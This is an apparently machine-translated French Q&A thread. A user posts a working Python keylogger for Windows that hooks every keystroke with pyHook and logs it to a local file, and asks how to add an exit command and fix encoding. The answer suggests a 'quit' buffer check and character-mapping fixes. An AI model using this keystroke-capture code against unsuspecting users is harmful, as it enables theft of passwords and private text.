2010-08-09 16 views
0

J'écris mon propre enregistreur de frappe simple basé sur un script que j'ai trouvé en ligne. Cependant, j'essaye d'écrire une commande de clef de sorte que le programme de logger se fermera quand cette commande est tapée. Comment dois-je m'y prendre? (Je sais aussi que ce n'est pas sécurisé du tout, mais ce n'est pas un problème avec ce programme)Création d'une commande clé en Python

Par exemple Ctrl + 'exit' fermerait le programme.

Aussi parfois il ne sera pas imprimer correctement certains caractères dans le fichier .log qu'il crée, ce qui pourrait être à l'origine de cela? (Je pense que le caractère type encouding peut être causeing ce problème)

#Key Logger 
#By: K.B. Carte 
#Version 1.0 
################ 

import pythoncom, pyHook, sys, logging, time 


LOG_FILENAME = 'C:\KeyLog\log.out' 



def OnKeyboardEvent(event): 
    keytime = time.strftime('%I:%M %S %p  %A %B %d, %Y   ') 
    logging.basicConfig(filename=LOG_FILENAME, 
         level=logging.DEBUG, 
         format='%(message)s') 

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'") 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

Ceci est dans Windows 7, BTW.

Répondre

0

Pour obtenir à fermer par une certaine commande, dites « quitter » ... vous voudriez créer un tampon .... si vous gardez tout ce que vous ouvrez une session dans un tampon, vous pouvez facilement faire

buff += newkeypress 
if "quit" in buff[-4:]: 
    logfile.close() 
    sys.exit(0) 

ou vous pouvez faire quelque chose comme append/pop avec une liste .. ou un autre type de mémoire tampon circulaire

pour des caractères funky, vous pouvez liquider vouloir imprimer juste la chose comme hex .. ou en ignorant événements moins que ascii 0 (tels que \ b et autres caractères funky)

Ou .. faire une table ascii (dictionnaire) et connectez la correspondance pour la clé, donc si vous obtenez \ b vous vous connectez '' et si vous obtenez '0' vous connectez '0'

+0

Comment est-ce que je ferais la touche Ctrl puis tapez "quitter" "? – rectangletangle

+1

en quoi ça consiste? http://www.daniweb.com/code/snippet216830.html – pyInTheSky